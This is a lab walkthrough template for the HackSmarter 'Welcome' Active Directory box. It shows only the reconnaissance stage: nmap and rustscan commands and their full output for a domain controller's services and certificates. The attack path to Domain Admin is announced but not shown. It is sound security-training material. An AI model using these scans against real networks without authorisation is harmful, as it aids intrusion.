Lab: Welcome · Platform: Active Directory · Difficulty: Easy · Provider: HackSmarter
This is a template walkthrough — replace the placeholder values (
10.0.26.198, hashes, flags) with your own findings as you work the box. Keep the structure; it mirrors how a real engagement is documented.
Overview#
Welcome is the on-ramp to the HackSmarter Active Directory series. It’s an assumed-breach scenario: you start with a low-privileged domain credential and work toward Domain Admin by chaining standard AD misconfigurations. The goal isn’t a single trick — it’s drilling the enumeration → foothold → privilege-escalation loop until it’s muscle memory.
Skills exercised
- AD enumeration (BloodHound / ldapsearch /
nxc) - SMB and LDAP recon
- Credential abuse and lateral movement
- Mapping an attack path to Domain Admin
1. Recon#
1.1 Initial port scan#
Always start broad, then go deep on what’s open.
# Full TCP scan, then service/version scan on discovered ports
nmap -p- --min-rate 2000 -oA nmap/alltcp 10.0.26.198
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269 -sCV -oA nmap/svc 10.0.26.198
rustscan -a 10.0.26.198 -- -AResult#
└─$ rustscan -a 10.0.26.198 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.0.26.198:53
Open 10.0.26.198:88
Open 10.0.26.198:135
Open 10.0.26.198:139
Open 10.0.26.198:389
Open 10.0.26.198:445
Open 10.0.26.198:464
Open 10.0.26.198:593
Open 10.0.26.198:636
Open 10.0.26.198:3268
Open 10.0.26.198:3269
Open 10.0.26.198:3389
Open 10.0.26.198:5985
Open 10.0.26.198:9389
Open 10.0.26.198:49664
Open 10.0.26.198:49667
Open 10.0.26.198:49676
Open 10.0.26.198:49679
Open 10.0.26.198:49700
Open 10.0.26.198:49714
Open 10.0.26.198:49849
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 10.0.26.198
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-21 19:19 -0400
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:19
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE: Active NSE Script Threads: 1 (0 waiting)
NSE Timing: About 0.00% done
Completed NSE at 19:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:19
Completed NSE at 19:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:19
Completed NSE at 19:19, 0.00s elapsed
Initiating Ping Scan at 19:19
Scanning 10.0.26.198 [4 ports]
Completed Ping Scan at 19:19, 0.25s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:19
Completed Parallel DNS resolution of 1 host. at 19:19, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:19
Scanning 10.0.26.198 [21 ports]
Discovered open port 445/tcp on 10.0.26.198
Discovered open port 49849/tcp on 10.0.26.198
Discovered open port 593/tcp on 10.0.26.198
Discovered open port 53/tcp on 10.0.26.198
Discovered open port 3389/tcp on 10.0.26.198
Discovered open port 135/tcp on 10.0.26.198
Discovered open port 139/tcp on 10.0.26.198
Discovered open port 3268/tcp on 10.0.26.198
Discovered open port 49679/tcp on 10.0.26.198
Discovered open port 49714/tcp on 10.0.26.198
Discovered open port 88/tcp on 10.0.26.198
Discovered open port 49676/tcp on 10.0.26.198
Discovered open port 636/tcp on 10.0.26.198
Discovered open port 5985/tcp on 10.0.26.198
Discovered open port 49667/tcp on 10.0.26.198
Discovered open port 9389/tcp on 10.0.26.198
Discovered open port 389/tcp on 10.0.26.198
Discovered open port 49700/tcp on 10.0.26.198
Discovered open port 3269/tcp on 10.0.26.198
Discovered open port 464/tcp on 10.0.26.198
Discovered open port 49664/tcp on 10.0.26.198
Completed SYN Stealth Scan at 19:19, 0.47s elapsed (21 total ports)
Initiating Service scan at 19:19
Scanning 21 services on 10.0.26.198
Completed Service scan at 19:20, 57.73s elapsed (21 services on 1 host)
Initiating OS detection (try #1) against 10.0.26.198
Retrying OS detection (try #2) against 10.0.26.198
Initiating Traceroute at 19:20
Completed Traceroute at 19:20, 3.01s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 19:20
Completed Parallel DNS resolution of 2 hosts. at 19:20, 1.00s elapsed
DNS resolution of 2 IPs took 1.00s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0]
NSE: Script scanning 10.0.26.198.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:20
NSE Timing: About 99.97% done; ETC: 19:21 (0:00:00 remaining)
Completed NSE at 19:21, 40.13s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 4.26s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.01s elapsed
Nmap scan report for 10.0.26.198
Host is up, received echo-reply ttl 126 (0.22s latency).
Scanned at 2026-06-21 19:19:30 EDT for 112s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-06-21 23:19:38Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-21T23:21:18+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA/domainComponent=WELCOME
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-13T16:39:47
| Not valid after: 2026-09-13T16:39:47
| MD5: 2ded dae3 3ecd 1cc4 58a7 dd02 4f41 2b6d
| SHA-1: aa01 7b70 2f48 f3c8 4aa0 5357 aeb8 93e9 8cbd 53bc
| SHA-256: 8735 4b7e c676 c67a 0ae7 73f7 d733 6d84 5e0b 2a4a 8723 8943 992a d0c3 b0bb f708
| -----BEGIN CERTIFICATE-----
| MIIF2jCCBMKgAwIBAgITGgAAAAIRVFIkuDGu6gAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFzAVBgoJkiaJk/IsZAEZFgdXRUxD
| T01FMRMwEQYDVQQDEwpXRUxDT01FLUNBMB4XDTI1MDkxMzE2Mzk0N1oXDTI2MDkx
| MzE2Mzk0N1owHTEbMBkGA1UEAxMSREMwMS5XRUxDT01FLmxvY2FsMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnFISuclgsW7tyBxC0s16AO6xnrVEzPYg
| CpMCjoVOos/RYjSg9pZoRtvd2tdGLWSU9F2W1MwHdnnJQARYWsV82y5IxgcP2tJc
| ApnjCjDmxqefhdyuwUsIHF0U4jxDPEKx/vjgtVbiRrws/HFlcvKiyTPNwOamPak/
| ryUpnrvr4ztu/SsuQpHFat2BqcAaKGlaJuaMmRDlFOxWbGfCvOjXxGqfMmd8vJXD
| r3puFr7ii44xiearPtqWvmLymriMQ5KbIYofIzOEmiDDYStMnnymBgHDDsDtpiky
| 06GBiwU8I8Ud/DHXsATlkVVPHYECBaZUP1rYcIZxXyu8DUp93wd6rQIDAQABo4IC
| 6TCCAuUwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQU9C/GMH3F
| fBVuN+juj9mPCCk8QZcwHwYDVR0jBBgwFoAUevxCqEh3+zNtgYgqOs6b/JIrIr8w
| gccGA1UdHwSBvzCBvDCBuaCBtqCBs4aBsGxkYXA6Ly8vQ049V0VMQ09NRS1DQSxD
| Tj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPVdFTENPTUUsREM9bG9jYWw/Y2VydGlm
| aWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1
| dGlvblBvaW50MIG+BggrBgEFBQcBAQSBsTCBrjCBqwYIKwYBBQUHMAKGgZ5sZGFw
| Oi8vL0NOPVdFTENPTUUtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9V0VMQ09NRSxEQz1s
| b2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsGAQQBgjcZAaASBBAybkv9h/o9Trfl
| IQs4hrJUghJEQzAxLldFTENPTUUubG9jYWwwDQYJKoZIhvcNAQELBQADggEBAF6f
| yq73dipbnRw4I9Yt8eukkZOWsbb+Ge6KDOh8lIGSVjtKgRhC5V6X60F1kGGF44Ib
| ojL9D5ynzGxHtuPc6IdJAQGyT8+MObYm6kFtbgr5ohukP6WXZtWmUCJkVuPAcb2a
| 4VcqOj++BmHDRBY8LjKOHI661A76bqWOwKl5AAqwdVqlLS2flTtUv4O6+vBpJ9Bp
| IZgHxKNtwT8+4SVYN9RreOqrsnFkGWWOI9xSLXhSVWtVPUS1ODcZ7hVBsul5qjsN
| rIAmjO6j9Gqe0wXewRpgzvk71vRhl9Nuu5NvaJ1l4a2NiDXe9GmC1KQcXp7BsS9v
| rfaMH2yDsbThqKTJL+c=
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-21T23:21:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA/domainComponent=WELCOME
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-13T16:39:47
| Not valid after: 2026-09-13T16:39:47
| MD5: 2ded dae3 3ecd 1cc4 58a7 dd02 4f41 2b6d
| SHA-1: aa01 7b70 2f48 f3c8 4aa0 5357 aeb8 93e9 8cbd 53bc
| SHA-256: 8735 4b7e c676 c67a 0ae7 73f7 d733 6d84 5e0b 2a4a 8723 8943 992a d0c3 b0bb f708
| -----BEGIN CERTIFICATE-----
| MIIF2jCCBMKgAwIBAgITGgAAAAIRVFIkuDGu6gAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFzAVBgoJkiaJk/IsZAEZFgdXRUxD
| T01FMRMwEQYDVQQDEwpXRUxDT01FLUNBMB4XDTI1MDkxMzE2Mzk0N1oXDTI2MDkx
| MzE2Mzk0N1owHTEbMBkGA1UEAxMSREMwMS5XRUxDT01FLmxvY2FsMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnFISuclgsW7tyBxC0s16AO6xnrVEzPYg
| CpMCjoVOos/RYjSg9pZoRtvd2tdGLWSU9F2W1MwHdnnJQARYWsV82y5IxgcP2tJc
| ApnjCjDmxqefhdyuwUsIHF0U4jxDPEKx/vjgtVbiRrws/HFlcvKiyTPNwOamPak/
| ryUpnrvr4ztu/SsuQpHFat2BqcAaKGlaJuaMmRDlFOxWbGfCvOjXxGqfMmd8vJXD
| r3puFr7ii44xiearPtqWvmLymriMQ5KbIYofIzOEmiDDYStMnnymBgHDDsDtpiky
| 06GBiwU8I8Ud/DHXsATlkVVPHYECBaZUP1rYcIZxXyu8DUp93wd6rQIDAQABo4IC
| 6TCCAuUwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQU9C/GMH3F
| fBVuN+juj9mPCCk8QZcwHwYDVR0jBBgwFoAUevxCqEh3+zNtgYgqOs6b/JIrIr8w
| gccGA1UdHwSBvzCBvDCBuaCBtqCBs4aBsGxkYXA6Ly8vQ049V0VMQ09NRS1DQSxD
| Tj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPVdFTENPTUUsREM9bG9jYWw/Y2VydGlm
| aWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1
| dGlvblBvaW50MIG+BggrBgEFBQcBAQSBsTCBrjCBqwYIKwYBBQUHMAKGgZ5sZGFw
| Oi8vL0NOPVdFTENPTUUtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9V0VMQ09NRSxEQz1s
| b2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsGAQQBgjcZAaASBBAybkv9h/o9Trfl
| IQs4hrJUghJEQzAxLldFTENPTUUubG9jYWwwDQYJKoZIhvcNAQELBQADggEBAF6f
| yq73dipbnRw4I9Yt8eukkZOWsbb+Ge6KDOh8lIGSVjtKgRhC5V6X60F1kGGF44Ib
| ojL9D5ynzGxHtuPc6IdJAQGyT8+MObYm6kFtbgr5ohukP6WXZtWmUCJkVuPAcb2a
| 4VcqOj++BmHDRBY8LjKOHI661A76bqWOwKl5AAqwdVqlLS2flTtUv4O6+vBpJ9Bp
| IZgHxKNtwT8+4SVYN9RreOqrsnFkGWWOI9xSLXhSVWtVPUS1ODcZ7hVBsul5qjsN
| rIAmjO6j9Gqe0wXewRpgzvk71vRhl9Nuu5NvaJ1l4a2NiDXe9GmC1KQcXp7BsS9v
| rfaMH2yDsbThqKTJL+c=
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA/domainComponent=WELCOME
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-13T16:39:47
| Not valid after: 2026-09-13T16:39:47
| MD5: 2ded dae3 3ecd 1cc4 58a7 dd02 4f41 2b6d
| SHA-1: aa01 7b70 2f48 f3c8 4aa0 5357 aeb8 93e9 8cbd 53bc
| SHA-256: 8735 4b7e c676 c67a 0ae7 73f7 d733 6d84 5e0b 2a4a 8723 8943 992a d0c3 b0bb f708
| -----BEGIN CERTIFICATE-----
| MIIF2jCCBMKgAwIBAgITGgAAAAIRVFIkuDGu6gAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFzAVBgoJkiaJk/IsZAEZFgdXRUxD
| T01FMRMwEQYDVQQDEwpXRUxDT01FLUNBMB4XDTI1MDkxMzE2Mzk0N1oXDTI2MDkx
| MzE2Mzk0N1owHTEbMBkGA1UEAxMSREMwMS5XRUxDT01FLmxvY2FsMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnFISuclgsW7tyBxC0s16AO6xnrVEzPYg
| CpMCjoVOos/RYjSg9pZoRtvd2tdGLWSU9F2W1MwHdnnJQARYWsV82y5IxgcP2tJc
| ApnjCjDmxqefhdyuwUsIHF0U4jxDPEKx/vjgtVbiRrws/HFlcvKiyTPNwOamPak/
| ryUpnrvr4ztu/SsuQpHFat2BqcAaKGlaJuaMmRDlFOxWbGfCvOjXxGqfMmd8vJXD
| r3puFr7ii44xiearPtqWvmLymriMQ5KbIYofIzOEmiDDYStMnnymBgHDDsDtpiky
| 06GBiwU8I8Ud/DHXsATlkVVPHYECBaZUP1rYcIZxXyu8DUp93wd6rQIDAQABo4IC
| 6TCCAuUwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQU9C/GMH3F
| fBVuN+juj9mPCCk8QZcwHwYDVR0jBBgwFoAUevxCqEh3+zNtgYgqOs6b/JIrIr8w
| gccGA1UdHwSBvzCBvDCBuaCBtqCBs4aBsGxkYXA6Ly8vQ049V0VMQ09NRS1DQSxD
| Tj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPVdFTENPTUUsREM9bG9jYWw/Y2VydGlm
| aWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1
| dGlvblBvaW50MIG+BggrBgEFBQcBAQSBsTCBrjCBqwYIKwYBBQUHMAKGgZ5sZGFw
| Oi8vL0NOPVdFTENPTUUtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9V0VMQ09NRSxEQz1s
| b2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsGAQQBgjcZAaASBBAybkv9h/o9Trfl
| IQs4hrJUghJEQzAxLldFTENPTUUubG9jYWwwDQYJKoZIhvcNAQELBQADggEBAF6f
| yq73dipbnRw4I9Yt8eukkZOWsbb+Ge6KDOh8lIGSVjtKgRhC5V6X60F1kGGF44Ib
| ojL9D5ynzGxHtuPc6IdJAQGyT8+MObYm6kFtbgr5ohukP6WXZtWmUCJkVuPAcb2a
| 4VcqOj++BmHDRBY8LjKOHI661A76bqWOwKl5AAqwdVqlLS2flTtUv4O6+vBpJ9Bp
| IZgHxKNtwT8+4SVYN9RreOqrsnFkGWWOI9xSLXhSVWtVPUS1ODcZ7hVBsul5qjsN
| rIAmjO6j9Gqe0wXewRpgzvk71vRhl9Nuu5NvaJ1l4a2NiDXe9GmC1KQcXp7BsS9v
| rfaMH2yDsbThqKTJL+c=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-06-21T23:21:18+00:00; -1s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-21T23:21:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA/domainComponent=WELCOME
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-13T16:39:47
| Not valid after: 2026-09-13T16:39:47
| MD5: 2ded dae3 3ecd 1cc4 58a7 dd02 4f41 2b6d
| SHA-1: aa01 7b70 2f48 f3c8 4aa0 5357 aeb8 93e9 8cbd 53bc
| SHA-256: 8735 4b7e c676 c67a 0ae7 73f7 d733 6d84 5e0b 2a4a 8723 8943 992a d0c3 b0bb f708
| -----BEGIN CERTIFICATE-----
| MIIF2jCCBMKgAwIBAgITGgAAAAIRVFIkuDGu6gAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFzAVBgoJkiaJk/IsZAEZFgdXRUxD
| T01FMRMwEQYDVQQDEwpXRUxDT01FLUNBMB4XDTI1MDkxMzE2Mzk0N1oXDTI2MDkx
| MzE2Mzk0N1owHTEbMBkGA1UEAxMSREMwMS5XRUxDT01FLmxvY2FsMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnFISuclgsW7tyBxC0s16AO6xnrVEzPYg
| CpMCjoVOos/RYjSg9pZoRtvd2tdGLWSU9F2W1MwHdnnJQARYWsV82y5IxgcP2tJc
| ApnjCjDmxqefhdyuwUsIHF0U4jxDPEKx/vjgtVbiRrws/HFlcvKiyTPNwOamPak/
| ryUpnrvr4ztu/SsuQpHFat2BqcAaKGlaJuaMmRDlFOxWbGfCvOjXxGqfMmd8vJXD
| r3puFr7ii44xiearPtqWvmLymriMQ5KbIYofIzOEmiDDYStMnnymBgHDDsDtpiky
| 06GBiwU8I8Ud/DHXsATlkVVPHYECBaZUP1rYcIZxXyu8DUp93wd6rQIDAQABo4IC
| 6TCCAuUwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQU9C/GMH3F
| fBVuN+juj9mPCCk8QZcwHwYDVR0jBBgwFoAUevxCqEh3+zNtgYgqOs6b/JIrIr8w
| gccGA1UdHwSBvzCBvDCBuaCBtqCBs4aBsGxkYXA6Ly8vQ049V0VMQ09NRS1DQSxD
| Tj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPVdFTENPTUUsREM9bG9jYWw/Y2VydGlm
| aWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1
| dGlvblBvaW50MIG+BggrBgEFBQcBAQSBsTCBrjCBqwYIKwYBBQUHMAKGgZ5sZGFw
| Oi8vL0NOPVdFTENPTUUtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9V0VMQ09NRSxEQz1s
| b2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsGAQQBgjcZAaASBBAybkv9h/o9Trfl
| IQs4hrJUghJEQzAxLldFTENPTUUubG9jYWwwDQYJKoZIhvcNAQELBQADggEBAF6f
| yq73dipbnRw4I9Yt8eukkZOWsbb+Ge6KDOh8lIGSVjtKgRhC5V6X60F1kGGF44Ib
| ojL9D5ynzGxHtuPc6IdJAQGyT8+MObYm6kFtbgr5ohukP6WXZtWmUCJkVuPAcb2a
| 4VcqOj++BmHDRBY8LjKOHI661A76bqWOwKl5AAqwdVqlLS2flTtUv4O6+vBpJ9Bp
| IZgHxKNtwT8+4SVYN9RreOqrsnFkGWWOI9xSLXhSVWtVPUS1ODcZ7hVBsul5qjsN
| rIAmjO6j9Gqe0wXewRpgzvk71vRhl9Nuu5NvaJ1l4a2NiDXe9GmC1KQcXp7BsS9v
| rfaMH2yDsbThqKTJL+c=
|_-----END CERTIFICATE-----
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WELCOME
| NetBIOS_Domain_Name: WELCOME
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: WELCOME.local
| DNS_Computer_Name: DC01.WELCOME.local
| Product_Version: 10.0.20348
|_ System_Time: 2026-06-21T23:20:39+00:00
|_ssl-date: 2026-06-21T23:21:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Issuer: commonName=DC01.WELCOME.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-20T19:55:24
| Not valid after: 2026-12-20T19:55:24
| MD5: 4648 5542 2145 2344 530e 6cfa 9766 6033
| SHA-1: 2466 b4ae 1d79 4824 471c 9f88 f54e 00b3 ad75 a75a
| SHA-256: 3f44 f0d3 18ef 4f94 72c5 a7df 1106 7909 4a26 82cc 30d8 1cf9 33bd f1ca dfd7 924b
| -----BEGIN CERTIFICATE-----
| MIIC6DCCAdCgAwIBAgIQO01UDiuQwZhBkDw05Nh0SDANBgkqhkiG9w0BAQsFADAd
| MRswGQYDVQQDExJEQzAxLldFTENPTUUubG9jYWwwHhcNMjYwNjIwMTk1NTI0WhcN
| MjYxMjIwMTk1NTI0WjAdMRswGQYDVQQDExJEQzAxLldFTENPTUUubG9jYWwwggEi
| MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTHanUKvaR8x6X0xHD5oCFEsPe
| LpGJjJ7IIbxRtZGibP22/uA84dOgvn6yJwS6i9GS85TSJoX4d8Cy3Pz86VlXfMya
| ++zh21i8N2rCh9OfkQiwH6nt6P7UVYxip3S6dEBFVSnydwOv+8QCAdIqIF2JaK2m
| QVSvAaUaiLVOHZuHsx44mlq4+2xxJmauSEI+nM/c3++4ThptiTY5ht/Dkqh/LRCZ
| Sb6dFO7Ya/nxaXZGAPffV2i2pHOrbcWyxLTs3IR/vNVDjNr6o4VaK/GsdHQM3osM
| atfaiES45M9rXUje0ljlsoRF5u6oaspjQ88I5BoiadRxYWDWwTxXHXhZsizVAgMB
| AAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG
| 9w0BAQsFAAOCAQEAizGyOKxC9wHhws3eSYZ778qx2c6RMvvolvTEGVgxBTRYi8kO
| 7gRjPQT7/IQ2f1+P1+/bEsHYFgpjm55WMQ4cUJIP35CWnIADqTp6aQq0NB1XNaTZ
| fcLCzVZK+pWT+2Trb/CQeOk2vCsmKzWPnipberi8YDfGluIxYHvqdziQxGS1mt5O
| EszP9SUTIZ2GXjkHqIoOvlrmerdaA+DHUVv7FlQDF3ajah9ywRvnWLi3pKqp6PLv
| 4eyhd9er4GeumPh+uegLIYi6+46qkPlpf92ikefQ7Ve8DW3ijmLn0i7B/G40JYGg
| RB6TypoPdT608Kkd31grqsQQrNxw1DfuoV/gLg==
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49676/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49700/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
